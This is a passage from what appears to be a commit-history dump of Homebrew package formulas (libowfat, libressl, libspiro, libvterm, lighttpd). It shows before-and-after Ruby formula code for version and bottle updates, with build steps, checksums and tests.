"yes" : "no"} --enable-tls=#{build.with?("tls") ? "yes" : "no"} ] system "./autogen.sh" if build.head? system "./configure", *args system "make" system "make", "install" end end
class Libowfat < Formula desc "Reimplements libdjb" homepage "https://www.fefe.de/libowfat/" url "https://www.fefe.de/libowfat/libowfat-0.32.tar.xz" sha256 "f4b9b3d9922dc25bc93adedf9e9ff8ddbebaf623f14c8e7a5f2301bfef7998c1" license "GPL-2.0" head ":pserver:cvs:@cvs.fefe.de:/cvs", using: :cvs livecheck do url :homepage regex(/href=.*?libowfat[._-]v?(\d+(?:\.\d+)+)\.t/i) end bottle do cellar :any_skip_relocation sha256 "2424abb2cccd7f41582ea49ccbee60dbecc436c843d9531c0e7c68c35b9330a4" => :catalina sha256 "08041ad3f0edd4b20e6ed1f6c768414aa7241940a14386c1dffd04caa5ef70ca" => :mojave sha256 "4740574a0e5184f8b371b1a7571304810b4fb29a92d60cf54979387dab3448c5" => :high_sierra end patch do url "https://github.com/mistydemeo/libowfat/commit/278a675a6984e5c202eee9f7e36cda2ae5da658d.patch?full_index=1" sha256 "32eab2348f495f483f7cd34ffd7543bd619f312b7094a4b55be9436af89dd341" end def install system "make", "libowfat.a" system "make", "install", "prefix=#{prefix}", "MAN3DIR=#{man3}", "INCLUDEDIR=#{include}/libowfat" end end libowfat: update 0.32 bottle. class Libowfat < Formula desc "Reimplements libdjb" homepage "https://www.fefe.de/libowfat/" url "https://www.fefe.de/libowfat/libowfat-0.32.tar.xz" sha256 "f4b9b3d9922dc25bc93adedf9e9ff8ddbebaf623f14c8e7a5f2301bfef7998c1" license "GPL-2.0" head ":pserver:cvs:@cvs.fefe.de:/cvs", using: :cvs livecheck do url :homepage regex(/href=.*?libowfat[._-]v?(\d+(?:\.\d+)+)\.t/i) end bottle do cellar :any_skip_relocation sha256 "1a08648fa8307771ae1d5c45da0ddefdfdc20d58b89091a614df74371eebbc59" => :big_sur sha256 "2424abb2cccd7f41582ea49ccbee60dbecc436c843d9531c0e7c68c35b9330a4" => :catalina sha256 "08041ad3f0edd4b20e6ed1f6c768414aa7241940a14386c1dffd04caa5ef70ca" => :mojave sha256 "4740574a0e5184f8b371b1a7571304810b4fb29a92d60cf54979387dab3448c5" => :high_sierra end patch do url "https://github.com/mistydemeo/libowfat/commit/278a675a6984e5c202eee9f7e36cda2ae5da658d.patch?full_index=1" sha256 "32eab2348f495f483f7cd34ffd7543bd619f312b7094a4b55be9436af89dd341" end def install system "make", "libowfat.a" system "make", "install", "prefix=#{prefix}", "MAN3DIR=#{man3}", "INCLUDEDIR=#{include}/libowfat" end end
class Libressl < Formula desc "Version of the SSL/TLS protocol forked from OpenSSL" homepage "https://www.libressl.org/" # Please ensure when updating version the release is from stable branch. url "https://ftp.openbsd.org/pub/OpenBSD/LibreSSL/libressl-3.6.1.tar.gz" mirror "https://mirrorservice.org/pub/OpenBSD/LibreSSL/libressl-3.6.1.tar.gz" sha256 "acfac61316e93b919c28d62d53037ca734de85c46b4d703f19fd8395cf006774" license "OpenSSL" livecheck do url :homepage regex(/latest stable release is (\d+(?:\.\d+)+)/i) end bottle do sha256 arm64_ventura: "5d52c80e347fe885c220befda3d0b06ceadb0c69d5d38ea411824e5522984e7f" sha256 arm64_monterey: "e1e190218aef455cd898452faa0940169b778c6aed71da43c52418811a15aea5" sha256 arm64_big_sur: "4bdc1402b982264a82b00a293ddc06d3689e1aef4705409c04c0b31042e7cdfb" sha256 monterey: "d53e3985174b4ea5b1b8eef8aada76a2a92da4aa34842c9449968ae5a49b860d" sha256 big_sur: "0b026cac08005c9536917bbc131fefb01225b622381a372d3bbcac40e135b320" sha256 catalina: "97468dafe7be4c434641c85ab2679209304905c84761e75b2160877aaacb48ae" sha256 x86_64_linux: "3e515757befa20efb729f8f9a97d3eaf1647d5de7ba804349d24d2e00bec053d" end head do url "https://github.com/libressl-portable/portable.git" depends_on "autoconf" => :build depends_on "automake" => :build depends_on "libtool" => :build end keg_only :provided_by_macos on_linux do keg_only "it conflicts with OpenSSL formula" end def install args = %W[ --disable-dependency-tracking --disable-silent-rules --prefix=#{prefix} --with-openssldir=#{etc}/libressl --sysconfdir=#{etc}/libressl ] system "./autogen.sh" if build.head? system "./configure", *args system "make" system "make", "install" end def post_install if OS.mac? ohai "Regenerating CA certificate bundle from keychain, this may take a while..." keychains = %w[ /Library/Keychains/System.keychain /System/Library/Keychains/SystemRootCertificates.keychain ] certs_list = `security find-certificate -a -p #{keychains.join(" ")}` certs = certs_list.scan( /-----BEGIN CERTIFICATE-----.*?-----END CERTIFICATE-----/m, ) # Check that the certificate has not expired valid_certs = certs.select do |cert| IO.popen("#{bin}/openssl x509 -inform pem -checkend 0 -noout &>/dev/null", "w") do |openssl_io| openssl_io.write(cert) openssl_io.close_write end $CHILD_STATUS.success? end # Check that the certificate is trusted in keychain trusted_certs = begin tmpfile = Tempfile.new valid_certs.select do |cert| tmpfile.rewind tmpfile.write cert tmpfile.truncate cert.size tmpfile.flush IO.popen("/usr/bin/security verify-cert -l -L -R offline -c #{tmpfile.path} &>/dev/null") $CHILD_STATUS.success? end ensure tmpfile&.close! end # LibreSSL install a default pem - We prefer to use macOS for consistency. rm_f %W[#{etc}/libressl/cert.pem #{etc}/libressl/cert.pem.default] (etc/"libressl/cert.pem").atomic_write(trusted_certs.join("\n") << "\n") end end def caveats <<~EOS A CA file has been bootstrapped using certificates from the SystemRoots keychain. To add additional certificates (e.g. the certificates added in the System keychain), place .pem files in #{etc}/libressl/certs and run #{opt_bin}/openssl certhash #{etc}/libressl/certs EOS end test do # Make sure the necessary .cnf file exists, otherwise LibreSSL gets moody. assert_predicate HOMEBREW_PREFIX/"etc/libressl/openssl.cnf", :exist?, "LibreSSL requires the .cnf file for some functionality" # Check LibreSSL itself functions as expected. (testpath/"testfile.txt").write("This is a test file") expected_checksum = "e2d0fe1585a63ec6009c8016ff8dda8b17719a637405a4e23c0ff81339148249" system "#{bin}/openssl", "dgst", "-sha256", "-out", "checksum.txt", "testfile.txt" open("checksum.txt") do |f| checksum = f.read(100).split("=").last.strip assert_equal checksum, expected_checksum end end end libressl: update 3.6.1 bottle. class Libressl < Formula desc "Version of the SSL/TLS protocol forked from OpenSSL" homepage "https://www.libressl.org/" # Please ensure when updating version the release is from stable branch. url "https://ftp.openbsd.org/pub/OpenBSD/LibreSSL/libressl-3.6.1.tar.gz" mirror "https://mirrorservice.org/pub/OpenBSD/LibreSSL/libressl-3.6.1.tar.gz" sha256 "acfac61316e93b919c28d62d53037ca734de85c46b4d703f19fd8395cf006774" license "OpenSSL" livecheck do url :homepage regex(/latest stable release is (\d+(?:\.\d+)+)/i) end bottle do sha256 arm64_ventura: "5d52c80e347fe885c220befda3d0b06ceadb0c69d5d38ea411824e5522984e7f" sha256 arm64_monterey: "e1e190218aef455cd898452faa0940169b778c6aed71da43c52418811a15aea5" sha256 arm64_big_sur: "4bdc1402b982264a82b00a293ddc06d3689e1aef4705409c04c0b31042e7cdfb" sha256 ventura: "aa9702299ec81740d7122b70677eaf676670c05115a3e2c2e4fef9abfa11597f" sha256 monterey: "d53e3985174b4ea5b1b8eef8aada76a2a92da4aa34842c9449968ae5a49b860d" sha256 big_sur: "0b026cac08005c9536917bbc131fefb01225b622381a372d3bbcac40e135b320" sha256 catalina: "97468dafe7be4c434641c85ab2679209304905c84761e75b2160877aaacb48ae" sha256 x86_64_linux: "3e515757befa20efb729f8f9a97d3eaf1647d5de7ba804349d24d2e00bec053d" end head do url "https://github.com/libressl-portable/portable.git" depends_on "autoconf" => :build depends_on "automake" => :build depends_on "libtool" => :build end keg_only :provided_by_macos on_linux do keg_only "it conflicts with OpenSSL formula" end def install args = %W[ --disable-dependency-tracking --disable-silent-rules --prefix=#{prefix} --with-openssldir=#{etc}/libressl --sysconfdir=#{etc}/libressl ] system "./autogen.sh" if build.head? system "./configure", *args system "make" system "make", "install" end def post_install if OS.mac? ohai "Regenerating CA certificate bundle from keychain, this may take a while..." keychains = %w[ /Library/Keychains/System.keychain /System/Library/Keychains/SystemRootCertificates.keychain ] certs_list = `security find-certificate -a -p #{keychains.join(" ")}` certs = certs_list.scan( /-----BEGIN CERTIFICATE-----.*?-----END CERTIFICATE-----/m, ) # Check that the certificate has not expired valid_certs = certs.select do |cert| IO.popen("#{bin}/openssl x509 -inform pem -checkend 0 -noout &>/dev/null", "w") do |openssl_io| openssl_io.write(cert) openssl_io.close_write end $CHILD_STATUS.success? end # Check that the certificate is trusted in keychain trusted_certs = begin tmpfile = Tempfile.new valid_certs.select do |cert| tmpfile.rewind tmpfile.write cert tmpfile.truncate cert.size tmpfile.flush IO.popen("/usr/bin/security verify-cert -l -L -R offline -c #{tmpfile.path} &>/dev/null") $CHILD_STATUS.success? end ensure tmpfile&.close! end # LibreSSL install a default pem - We prefer to use macOS for consistency. rm_f %W[#{etc}/libressl/cert.pem #{etc}/libressl/cert.pem.default] (etc/"libressl/cert.pem").atomic_write(trusted_certs.join("\n") << "\n") end end def caveats <<~EOS A CA file has been bootstrapped using certificates from the SystemRoots keychain. To add additional certificates (e.g. the certificates added in the System keychain), place .pem files in #{etc}/libressl/certs and run #{opt_bin}/openssl certhash #{etc}/libressl/certs EOS end test do # Make sure the necessary .cnf file exists, otherwise LibreSSL gets moody. assert_predicate HOMEBREW_PREFIX/"etc/libressl/openssl.cnf", :exist?, "LibreSSL requires the .cnf file for some functionality" # Check LibreSSL itself functions as expected. (testpath/"testfile.txt").write("This is a test file") expected_checksum = "e2d0fe1585a63ec6009c8016ff8dda8b17719a637405a4e23c0ff81339148249" system "#{bin}/openssl", "dgst", "-sha256", "-out", "checksum.txt", "testfile.txt" open("checksum.txt") do |f| checksum = f.read(100).split("=").last.strip assert_equal checksum, expected_checksum end end end
class Libressl < Formula desc "Version of the SSL/TLS protocol forked from OpenSSL" homepage "https://www.libressl.org/" # Please ensure when updating version the release is from stable branch. url "https://ftp.openbsd.org/pub/OpenBSD/LibreSSL/libressl-2.5.5.tar.gz" mirror "https://mirrorservice.org/pub/OpenBSD/LibreSSL/libressl-2.5.5.tar.gz" sha256 "e57f5e3d5842a81fe9351b6e817fcaf0a749ca4ef35a91465edba9e071dce7c4" bottle do sha256 "2d9d33ea7dfef533ffbaac52760437ad4d9c1fbb298d73c44726f471dee9e84a" => :high_sierra sha256 "3ff166de8666c5275cabd2d8b6de8e44ae2b71ee8a694a4a8b20866943b9e117" => :sierra sha256 "94342eafb2d50f798dd5be8c1d35347e3dd414f2e64753f6691f2ce4b7f9f391" => :el_capitan sha256 "5f52e3e477f2381d153458795dc54251439c61899d1504435214895dda9d5b41" => :yosemite end devel do url "https://ftp.openbsd.org/pub/OpenBSD/LibreSSL/libressl-2.6.2.tar.gz" mirror "https://mirrorservice.org/pub/OpenBSD/LibreSSL/libressl-2.6.2.tar.gz" sha256 "b029d2492b72a9ba5b5fcd9f3d602c9fd0baa087912f2aaecc28f52f567ec478" end head do url "https://github.com/libressl-portable/portable.git" depends_on "automake" => :build depends_on "autoconf" => :build depends_on "libtool" => :build end keg_only "LibreSSL is not linked to prevent conflict with the system OpenSSL" def install args = %W[ --disable-dependency-tracking --disable-silent-rules --prefix=#{prefix} --with-openssldir=#{etc}/libressl --sysconfdir=#{etc}/libressl ] system "./autogen.sh" if build.head? system "./configure", *args system "make" system "make", "check" system "make", "install" end def post_install keychains = %w[ /System/Library/Keychains/SystemRootCertificates.keychain ] certs_list = `security find-certificate -a -p #{keychains.join(" ")}` certs = certs_list.scan( /-----BEGIN CERTIFICATE-----.*?-----END CERTIFICATE-----/m, ) valid_certs = certs.select do |cert| IO.popen("#{bin}/openssl x509 -inform pem -checkend 0 -noout", "w") do |openssl_io| openssl_io.write(cert) openssl_io.close_write end $CHILD_STATUS.success? end # LibreSSL install a default pem - We prefer to use macOS for consistency. rm_f %W[#{etc}/libressl/cert.pem #{etc}/libressl/cert.pem.default] (etc/"libressl/cert.pem").atomic_write(valid_certs.join("\n")) end def caveats; <<~EOS A CA file has been bootstrapped using certificates from the SystemRoots keychain. To add additional certificates (e.g. the certificates added in the System keychain), place .pem files in #{etc}/libressl/certs and run #{opt_bin}/openssl certhash #{etc}/libressl/certs EOS end test do # Make sure the necessary .cnf file exists, otherwise LibreSSL gets moody. assert_predicate HOMEBREW_PREFIX/"etc/libressl/openssl.cnf", :exist?, "LibreSSL requires the .cnf file for some functionality" # Check LibreSSL itself functions as expected. (testpath/"testfile.txt").write("This is a test file") expected_checksum = "e2d0fe1585a63ec6009c8016ff8dda8b17719a637405a4e23c0ff81339148249" system "#{bin}/openssl", "dgst", "-sha256", "-out", "checksum.txt", "testfile.txt" open("checksum.txt") do |f| checksum = f.read(100).split("=").last.strip assert_equal checksum, expected_checksum end end end libressl 2.6.3 Closes #20323. Signed-off-by: William Woodruff <c824fe0afe16857dd6f587aa7c4044d2642d60fb@tuffbizz.com> class Libressl < Formula desc "Version of the SSL/TLS protocol forked from OpenSSL" homepage "https://www.libressl.org/" # Please ensure when updating version the release is from stable branch. url "https://ftp.openbsd.org/pub/OpenBSD/LibreSSL/libressl-2.6.3.tar.gz" mirror "https://mirrorservice.org/pub/OpenBSD/LibreSSL/libressl-2.6.3.tar.gz" sha256 "aead6598263171b96970da0d881e616d0813b69b35ebdc5991f87ff2ea7f5c98" bottle do sha256 "2d9d33ea7dfef533ffbaac52760437ad4d9c1fbb298d73c44726f471dee9e84a" => :high_sierra sha256 "3ff166de8666c5275cabd2d8b6de8e44ae2b71ee8a694a4a8b20866943b9e117" => :sierra sha256 "94342eafb2d50f798dd5be8c1d35347e3dd414f2e64753f6691f2ce4b7f9f391" => :el_capitan sha256 "5f52e3e477f2381d153458795dc54251439c61899d1504435214895dda9d5b41" => :yosemite end head do url "https://github.com/libressl-portable/portable.git" depends_on "automake" => :build depends_on "autoconf" => :build depends_on "libtool" => :build end keg_only "LibreSSL is not linked to prevent conflict with the system OpenSSL" def install args = %W[ --disable-dependency-tracking --disable-silent-rules --prefix=#{prefix} --with-openssldir=#{etc}/libressl --sysconfdir=#{etc}/libressl ] system "./autogen.sh" if build.head? system "./configure", *args system "make" system "make", "check" system "make", "install" end def post_install keychains = %w[ /System/Library/Keychains/SystemRootCertificates.keychain ] certs_list = `security find-certificate -a -p #{keychains.join(" ")}` certs = certs_list.scan( /-----BEGIN CERTIFICATE-----.*?-----END CERTIFICATE-----/m, ) valid_certs = certs.select do |cert| IO.popen("#{bin}/openssl x509 -inform pem -checkend 0 -noout", "w") do |openssl_io| openssl_io.write(cert) openssl_io.close_write end $CHILD_STATUS.success? end # LibreSSL install a default pem - We prefer to use macOS for consistency. rm_f %W[#{etc}/libressl/cert.pem #{etc}/libressl/cert.pem.default] (etc/"libressl/cert.pem").atomic_write(valid_certs.join("\n")) end def caveats; <<~EOS A CA file has been bootstrapped using certificates from the SystemRoots keychain. To add additional certificates (e.g. the certificates added in the System keychain), place .pem files in #{etc}/libressl/certs and run #{opt_bin}/openssl certhash #{etc}/libressl/certs EOS end test do # Make sure the necessary .cnf file exists, otherwise LibreSSL gets moody. assert_predicate HOMEBREW_PREFIX/"etc/libressl/openssl.cnf", :exist?, "LibreSSL requires the .cnf file for some functionality" # Check LibreSSL itself functions as expected. (testpath/"testfile.txt").write("This is a test file") expected_checksum = "e2d0fe1585a63ec6009c8016ff8dda8b17719a637405a4e23c0ff81339148249" system "#{bin}/openssl", "dgst", "-sha256", "-out", "checksum.txt", "testfile.txt" open("checksum.txt") do |f| checksum = f.read(100).split("=").last.strip assert_equal checksum, expected_checksum end end end
class Libspiro < Formula desc "Library to simplify the drawing of curves" homepage "https://github.com/fontforge/libspiro" url "https://github.com/fontforge/libspiro/releases/download/20200505/libspiro-dist-20200505.tar.gz" sha256 "06c69a1e8dcbcabcf009fd96fd90b1a244d0257246e376c2c4d57c4ea4af0e49" version_scheme 1 bottle do cellar :any sha256 "95b1fa2d825d9f7485a3740e989550812778d2d94f060513d4e1e71903eafa4f" => :catalina sha256 "934e0ccd8d371ac24456e1d3d63db4621a3736401105d99b055018b3e941b851" => :mojave sha256 "1429ee36073ef51e18ef636519122059eccdd17d005e56c28fbb2fe6429b3e5a" => :high_sierra sha256 "ed2eb6d7502263bbf73b9a85dfeea23ad76238996c06e2a4b729a687537e9584" => :sierra sha256 "ba2ac132368792d5715eb39a7b0e452fba5a222977ec30b9c5ff09728acfd0e0" => :el_capitan sha256 "408083484eb78518514bd2613f019bd03ac94e791b8302721187eeaf5c775479" => :yosemite sha256 "7bbae215d77ea9b5977f066b2fa646821933f5ed4cbc972e4c50fc5a1708725e" => :mavericks end head do url "https://github.com/fontforge/libspiro.git" depends_on "autoconf" => :build depends_on "automake" => :build depends_on "libtool" => :build end def install if build.head? system "autoreconf", "-i" system "automake" end system "./configure", "--prefix=#{prefix}" system "make", "install" end test do (testpath/"test.c").write <<~EOS #include <spiroentrypoints.h> #include <bezctx.h> void moveto(bezctx *bc, double x, double y, int open) {} void lineto(bezctx *bc, double x, double y) {} void quadto(bezctx *bc, double x1, double y1, double x2, double y2) {} void curveto(bezctx *bc, double x1, double y1, double x2, double y2, double x3, double t3) {} void markknot(bezctx *bc, int knot) {} int main() { int done; bezctx bc = {moveto, lineto, quadto, curveto, markknot}; spiro_cp path[] = { {-100, 0, SPIRO_G4}, {0, 100, SPIRO_G4}, {100, 0, SPIRO_G4}, {0, -100, SPIRO_G4} }; SpiroCPsToBezier1(path, sizeof(path)/sizeof(spiro_cp), 1, &bc, &done); return done == 0; } EOS system ENV.cc, "test.c", "-I#{include}", "-L#{lib}", "-lspiro", "-o", "test" system "./test" end end libspiro: update 20200505 bottle. class Libspiro < Formula desc "Library to simplify the drawing of curves" homepage "https://github.com/fontforge/libspiro" url "https://github.com/fontforge/libspiro/releases/download/20200505/libspiro-dist-20200505.tar.gz" sha256 "06c69a1e8dcbcabcf009fd96fd90b1a244d0257246e376c2c4d57c4ea4af0e49" version_scheme 1 bottle do cellar :any sha256 "238761be2cd640f6c3f59f0461ce7f5b73dc71c9613236e180bc55f4231e167b" => :catalina sha256 "fb1b2e548eddc684a5b615cedabc2c6403e0c87409fdb419369ca40e2b70aa52" => :mojave sha256 "b7155fe14b9909a06a9044ca2d3275f5b2cbcd9aac23583b3819ba53898ff120" => :high_sierra end head do url "https://github.com/fontforge/libspiro.git" depends_on "autoconf" => :build depends_on "automake" => :build depends_on "libtool" => :build end def install if build.head? system "autoreconf", "-i" system "automake" end system "./configure", "--prefix=#{prefix}" system "make", "install" end test do (testpath/"test.c").write <<~EOS #include <spiroentrypoints.h> #include <bezctx.h> void moveto(bezctx *bc, double x, double y, int open) {} void lineto(bezctx *bc, double x, double y) {} void quadto(bezctx *bc, double x1, double y1, double x2, double y2) {} void curveto(bezctx *bc, double x1, double y1, double x2, double y2, double x3, double t3) {} void markknot(bezctx *bc, int knot) {} int main() { int done; bezctx bc = {moveto, lineto, quadto, curveto, markknot}; spiro_cp path[] = { {-100, 0, SPIRO_G4}, {0, 100, SPIRO_G4}, {100, 0, SPIRO_G4}, {0, -100, SPIRO_G4} }; SpiroCPsToBezier1(path, sizeof(path)/sizeof(spiro_cp), 1, &bc, &done); return done == 0; } EOS system ENV.cc, "test.c", "-I#{include}", "-L#{lib}", "-lspiro", "-o", "test" system "./test" end end
class Libvterm < Formula desc "C99 library which implements a VT220 or xterm terminal emulator" homepage "http://www.leonerd.org.uk/code/libvterm/" url "http://www.leonerd.org.uk/code/libvterm/libvterm-0.2.tar.gz" sha256 "4c5150655438cfb8c57e7bd133041140857eb04defd0e544521c0e469258e105" license "MIT" version_scheme 1 livecheck do url :homepage regex(/href=.*?libvterm[._-]v?(\d+(?:\.\d+)+)\./i) end bottle do sha256 cellar: :any, arm64_monterey: "5cd306979b892e89d43e58c6259c9631101d7dc685addc6fe306d42e5a746ac4" sha256 cellar: :any, arm64_big_sur: "45364ba93182739f8d2b5fd17c98f23ea04c5f3d2bea8bfbc4505e3d7fe8405c" sha256 cellar: :any, monterey: "5eaf3c64effc28db52d1da5e9d974646e8fd57926a96435cb75200591c321a97" sha256 cellar: :any, big_sur: "feca616448c260cf992bc1a58eb537028d08cf0af008003b09c1602f81eabe75" sha256 cellar: :any, catalina: "397b586af09ebea105af914adeb0ca6f943ca2b3f1948555e3336b21c6e39833" sha256 cellar: :any_skip_relocation, x86_64_linux: "eaa7a320354097e4ca5c0c3f6ef1310d62cdce4d941e3b0a1ffae19eec262758" end depends_on "libtool" => :build def install system "make", "install", "PREFIX=#{prefix}" end test do (testpath/"test.c").write <<~EOS #include <vterm.h> int main() { vterm_free(vterm_new(1, 1)); } EOS system ENV.cc, "test.c", "-L#{lib}", "-lvterm", "-o", "test" system "./test" end end libvterm 0.3 Closes #110938. Signed-off-by: Carlo Cabrera <3ffc397d0e4bded29cb84b56167de54c01e3a55b@users.noreply.github.com> Signed-off-by: BrewTestBot <8a898ee6867e4f2028e63d2a6319b2224641c06c@users.noreply.github.com> class Libvterm < Formula desc "C99 library which implements a VT220 or xterm terminal emulator" homepage "http://www.leonerd.org.uk/code/libvterm/" url "http://www.leonerd.org.uk/code/libvterm/libvterm-0.3.tar.gz" sha256 "61eb0d6628c52bdf02900dfd4468aa86a1a7125228bab8a67328981887483358" license "MIT" version_scheme 1 livecheck do url :homepage regex(/href=.*?libvterm[._-]v?(\d+(?:\.\d+)+)\./i) end bottle do sha256 cellar: :any, arm64_monterey: "5cd306979b892e89d43e58c6259c9631101d7dc685addc6fe306d42e5a746ac4" sha256 cellar: :any, arm64_big_sur: "45364ba93182739f8d2b5fd17c98f23ea04c5f3d2bea8bfbc4505e3d7fe8405c" sha256 cellar: :any, monterey: "5eaf3c64effc28db52d1da5e9d974646e8fd57926a96435cb75200591c321a97" sha256 cellar: :any, big_sur: "feca616448c260cf992bc1a58eb537028d08cf0af008003b09c1602f81eabe75" sha256 cellar: :any, catalina: "397b586af09ebea105af914adeb0ca6f943ca2b3f1948555e3336b21c6e39833" sha256 cellar: :any_skip_relocation, x86_64_linux: "eaa7a320354097e4ca5c0c3f6ef1310d62cdce4d941e3b0a1ffae19eec262758" end depends_on "libtool" => :build def install system "make", "install", "PREFIX=#{prefix}" end test do (testpath/"test.c").write <<~EOS #include <vterm.h> int main() { vterm_free(vterm_new(1, 1)); } EOS system ENV.cc, "test.c", "-L#{lib}", "-lvterm", "-o", "test" system "./test" end end
require 'formula' class Lighttpd < Formula homepage 'http://www.lighttpd.net/' url 'http://download.lighttpd.net/lighttpd/releases-1.4.x/lighttpd-1.4.32.tar.bz2' sha256 '60691b2dcf3ad2472c06b23d75eb0c164bf48a08a630ed3f308f61319104701f' option 'with-lua', 'Include Lua scripting support for mod_magnet' depends_on 'pkg-config' => :build depends_on 'pcre' depends_on 'lua' => :optional depends_on 'libev' => :optional # default max. file descriptors; this option will be ignored if the server is not started as root MAX_FDS = 512 def config_path; etc+"lighttpd/"; end def log_path; var+"log/lighttpd/"; end def www_path; var+"www/"; end def run_path; var+"lighttpd/"; end def install args = %W[ --disable-dependency-tracking --prefix=#{prefix} --with-openssl --with-ldap --with-zlib --with-bzip2 --with-attr ] args << "--with-lua" if build.with? 'lua' args << "--with-libev" if build.with? 'libev' system "./configure", *args system "make install" unless File.exists? config_path config_path.install Dir["doc/config/lighttpd.conf"] config_path.install Dir["doc/config/modules.conf"] (config_path/"conf.d/").install Dir["doc/config/conf.d/*.conf"] inreplace config_path+"lighttpd.conf" do |s| s.sub!(/^var\.log_root\s*=\s*".+"$/,"var.log_root = \"#{log_path}\"") s.sub!(/^var\.server_root\s*=\s*".+"$/,"var.server_root = \"#{www_path}\"") s.sub!(/^var\.state_dir\s*=\s*".+"$/,"var.state_dir = \"#{run_path}\"") s.sub!(/^var\.home_dir\s*=\s*".+"$/,"var.home_dir = \"#{run_path}\"") s.sub!(/^var\.conf_dir\s*=\s*".+"$/,"var.conf_dir = \"#{config_path}\"") s.sub!(/^server\.port\s*=\s*80$/,'server.port = 8080') # get rid of "warning: please use server.use-ipv6 only for hostnames, not # without server.bind / empty address; your config will break if the kernel # default for IPV6_V6ONLY changes" warning s.sub!(/^server.use-ipv6\s*=\s*"enable"$/,'server.use-ipv6 = "disable"') s.sub!(/^server\.username\s*=\s*".+"$/,'server.username = "_www"') s.sub!(/^server\.groupname\s*=\s*".+"$/,'server.groupname = "_www"') s.sub!(/^server\.event-handler\s*=\s*"linux-sysepoll"$/,'server.event-handler = "select"') s.sub!(/^server\.network-backend\s*=\s*"linux-sendfile"$/,'server.network-backend = "writev"') # "max-connections == max-fds/2", # http://redmine.lighttpd.net/projects/1/wiki/Server_max-connectionsDetails s.sub!(/^server\.max-connections = .+$/,'server.max-connections = ' + (MAX_FDS / 2).to_s()) end end end def post_install log_path.mkpath www_path.mkpath (www_path/'htdocs').mkpath run_path.mkpath end def caveats; <<-EOS.undent Docroot is: #{www_path}htdocs/ The default port has been set to 8080 so that lighttpd can run without sudo. If you want to host pages on your local machine to the wider network you can change the port to 80 in: #{config_path}lighttpd.conf You will then need to run lighttpd as root: `sudo lighttpd -f #{config_path}lighttpd.conf`. EOS end plist_options :manual => "lighttpd" def plist; <<-EOS.undent <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>#{plist_name}</string> <key>ProgramArguments</key> <array> <string>#{opt_prefix}/sbin/lighttpd</string> <string>-D</string> <string>-f</string> <string>#{config_path}/lighttpd.conf</string> </array> <key>RunAtLoad</key> <true/> <key>KeepAlive</key> <false/> <key>WorkingDirectory</key> <string>#{HOMEBREW_PREFIX}</string> <key>StandardErrorPath</key> <string>#{log_path}/output.log</string> <key>StandardOutPath</key> <string>#{log_path}/output.log</string> <key>HardResourceLimits</key> <dict> <key>NumberOfFiles</key> <integer>#{MAX_FDS}</integer> </dict> <key>SoftResourceLimits</key> <dict> <key>NumberOfFiles</key> <integer>#{MAX_FDS}</integer> </dict> </dict> </plist> EOS end end lighttpd: move from sbin to bin. require 'formula' class Lighttpd < Formula homepage 'http://www.lighttpd.net/' url 'http://download.lighttpd.net/lighttpd/releases-1.4.x/lighttpd-1.4.32.tar.bz2' sha256 '60691b2dcf3ad2472c06b23d75eb0c164bf48a08a630ed3f308f61319104701f' option 'with-lua', 'Include Lua scripting support for mod_magnet' depends_on 'pkg-config' => :build depends_on 'pcre' depends_on 'lua' => :optional depends_on 'libev' => :optional # default max. file descriptors; this option will be ignored if the server is not started as root MAX_FDS = 512 def config_path; etc+"lighttpd/"; end def log_path; var+"log/lighttpd/"; end def www_path; var+"www/"; end def run_path; var+"lighttpd/"; end def install args = %W[ --disable-dependency-tracking --prefix=#{prefix} --with-openssl --with-ldap --with-zlib --with-bzip2 --with-attr ] args << "--with-lua" if build.with? 'lua' args << "--with-libev" if build.with? 'libev' system "./configure", *args system "make install" mv sbin, bin unless File.exists? config_path config_path.install Dir["doc/config/lighttpd.conf"] config_path.install Dir["doc/config/modules.conf"] (config_path/"conf.d/").install Dir["doc/config/conf.d/*.conf"] inreplace config_path+"lighttpd.conf" do |s| s.sub!(/^var\.log_root\s*=\s*".+"$/,"var.log_root = \"#{log_path}\"") s.sub!(/^var\.server_root\s*=\s*".+"$/,"var.server_root = \"#{www_path}\"") s.sub!(/^var\.state_dir\s*=\s*".+"$/,"var.state_dir = \"#{run_path}\"") s.sub!(/^var\.home_dir\s*=\s*".+"$/,"var.home_dir = \"#{run_path}\"") s.sub!(/^var\.conf_dir\s*=\s*".+"$/,"var.conf_dir = \"#{config_path}\"") s.sub!(/^server\.port\s*=\s*80$/,'server.port = 8080') # get rid of "warning: please use server.use-ipv6 only for hostnames, not # without server.bind / empty address; your config will break if the kernel # default for IPV6_V6ONLY changes" warning s.sub!(/^server.use-ipv6\s*=\s*"enable"$/,'server.use-ipv6 = "disable"') s.sub!(/^server\.username\s*=\s*".+"$/,'server.username = "_www"') s.sub!(/^server\.groupname\s*=\s*".+"$/,'server.groupname = "_www"') s.sub!(/^server\.event-handler\s*=\s*"linux-sysepoll"$/,'server.event-handler = "select"') s.sub!(/^server\.network-backend\s*=\s*"linux-sendfile"$/,'server.network-backend = "writev"') # "max-connections == max-fds/2", # http://redmine.lighttpd.net/projects/1/wiki/Server_max-connectionsDetails s.sub!(/^server\.max-connections = .+$/,'server.max-connections = ' + (MAX_FDS / 2).to_s()) end end end def post_install log_path.mkpath www_path.mkpath (www_path/'htdocs').mkpath run_path.mkpath end def caveats; <<-EOS.undent Docroot is: #{www_path}htdocs/ The default port has been set to 8080 so that lighttpd can run without sudo. If you want to host pages on your local machine to the wider network you can change the port to 80 in: #{config_path}lighttpd.conf You will then need to run lighttpd as root: `sudo lighttpd -f #{config_path}lighttpd.conf`. EOS end plist_options :manual => "lighttpd" def plist; <<-EOS.undent <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>#{plist_name}</string> <key>ProgramArguments</key> <array> <string>#{opt_prefix}/bin/lighttpd</string> <string>-D</string> <string>-f</string> <string>#{config_path}/lighttpd.conf</string> </array> <key>RunAtLoad</key> <true/> <key>KeepAlive</key> <false/> <key>WorkingDirectory</key> <string>#{HOMEBREW_PREFIX}</string> <key>StandardErrorPath</key> <string>#{log_path}/output.log</string> <key>StandardOutPath</key> <string>#{log_path}/output.log</string> <key>HardResourceLimits</key> <dict> <key>NumberOfFiles</key> <integer>#{MAX_FDS}</integer> </dict> <key>SoftResourceLimits</key> <dict> <key>NumberOfFiles</key> <integer>#{MAX_FDS}</integer> </dict> </dict> </plist> EOS 